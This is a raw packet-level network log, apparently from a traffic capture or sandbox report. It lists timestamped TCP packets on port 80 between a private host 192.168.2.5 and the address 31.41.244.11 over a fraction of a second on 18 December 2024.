Dec 18, 2024 21:30:18.060132980 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.060174942 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.060174942 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.179162979 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.179184914 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.179240942 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.179241896 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.179577112 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.179619074 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.179653883 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.179653883 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.298893929 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.299029112 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.299284935 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.299303055 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.299359083 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.300167084 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.300184965 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.300215006 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.300245047 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.301101923 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.301129103 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.301145077 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.301166058 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.301166058 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.301186085 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.302134037 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.302150965 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.302262068 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.302793980 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.302841902 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.302869081 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.302906990 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.303899050 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.303930044 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.303937912 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.303972006 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.304759026 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.304775953 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.304791927 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.304816008 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.304866076 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.305608988 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.305627108 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.305660009 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.305706978 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.306400061 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.306416988 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.306459904 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.306459904 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.307284117 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.307301998 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.307339907 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.307357073 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.308147907 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.308165073 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.308182955 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.308202982 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.309005976 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.309022903 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.309055090 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.309091091 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.309854031 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.309870958 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.309896946 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.309921980 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.310726881 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.310745001 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.310820103 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.311575890 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.311621904 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.311638117 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.311640024 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.311676025 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.311676025 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.312503099 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.312520027 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.312572956 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.312572956 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.313385010 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.313447952 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.313448906 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.313849926 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.314220905 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.314265966 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.314681053 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.314697027 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.314750910 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.314750910 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.315587044 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.315603971 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.315644026 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.315644026 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.316418886 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.316447020 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.316462994 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.316485882 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.316485882 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.316560984 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.317328930 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.317351103 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.317425013 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.318209887 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.318227053 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.318289042 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.319067001 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.319092989 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.319153070 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.319153070 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.319966078 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.319982052 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.319997072 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.320022106 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.320076942 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.320854902 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.320872068 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.320929050 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.320929050 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.321722984 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.321749926 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.321788073 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.321804047 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.322622061 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.322638988 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.322701931 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.322701931 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.323523045 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.323538065 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.323611021 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.323611021 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.324541092 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.324567080 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.324604988 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.324621916 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.325388908 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.325407028 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.325422049 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.325454950 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.325515032 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.326163054 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.326179981 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.326301098 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.327028036 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.327045918 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.327074051 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.327136993 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.327897072 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.327914953 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.327965021 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.327965021 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.328808069 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.328824997 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.328840017 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.328877926 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.328877926 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.329713106 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.329730988 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.329766035 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.329812050 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.330627918 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.330643892 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.330688953 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.331404924 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.331423044 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.331480026 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.332295895 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.332314014 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.332387924 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.332387924 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.333138943 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.333156109 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.333178997 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.333241940 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.333241940 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.334114075 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.334228039 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.334486008 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.334502935 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.334541082 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.334541082 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.335366011 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.335383892 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.335422993 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.335441113 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.336257935 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.336273909 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.336318970 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.336318970 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.337178946 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.337196112 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.337232113 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.337232113 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.338064909 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.338080883 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.338160992 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.338946104 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.339102983 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.339761019 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.339778900 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.339795113 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.339848995 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.339848995 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.340658903 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.340675116 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.340720892 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.340739012 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.341613054 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.341629028 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.341681004 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.341681004 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.342392921 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.342416048 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.342441082 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.342484951 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.343302011 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.343327999 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.343370914 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.344233990 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.344250917 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.344270945 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.344296932 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.344326973 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.345079899 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.345097065 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.345207930 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.345943928 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.345961094 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.346014977 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.346014977 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.346801996 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.346829891 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.346868992 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.346868992 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.347721100 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.347737074 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.347750902 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.347769976 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.347863913 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.348602057 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.348618984 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.348706961 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.348706961 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.349503040 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.349529028 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.349601984 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.349601984 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.350380898 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.350398064 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.350445986 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.350445986 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.351336956 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.351353884 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.351394892 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.351394892 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.352098942 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.352116108 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.352132082 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.352159977 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.352159977 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.352201939 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.352982044 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.352998972 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.353084087 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.353084087 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.353858948 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.354044914 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.354310036 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.354326963 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.354356050 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.354389906 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.355252028 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.355278969 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.355303049 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.355331898 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.356174946 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.356193066 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.356209040 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.356221914 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.356246948 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.356246948 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.356952906 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.356970072 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.357019901 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.357019901 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.357861996 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.357880116 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.357973099 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.358736038 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.358750105 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.358805895 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.359596014 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.359612942 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.359632015 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.359652042 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.359709978 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.360548019 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.360568047 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.360635996 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.360635996 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.361352921 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.361397982 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.361449957 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.362271070 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.362291098 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.362325907 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.362360954 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.363091946 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.363109112 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.363135099 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.363157988 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.364093065 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.364110947 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.364126921 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.364142895 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.364161015 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.364213943 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.364907980 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.364924908 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.364954948 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.364999056 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.365911961 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.365940094 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.366041899 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.366731882 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.366749048 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.366796970 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.366796970 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.367580891 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.367608070 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.367633104 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.367669106 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.367681980 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.368478060 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.368494987 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.368567944 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.368643045 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.369259119 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.369276047 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:18.369314909 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:18.369399071 CET	49804	80	192.168.2.5	31.41.244.11
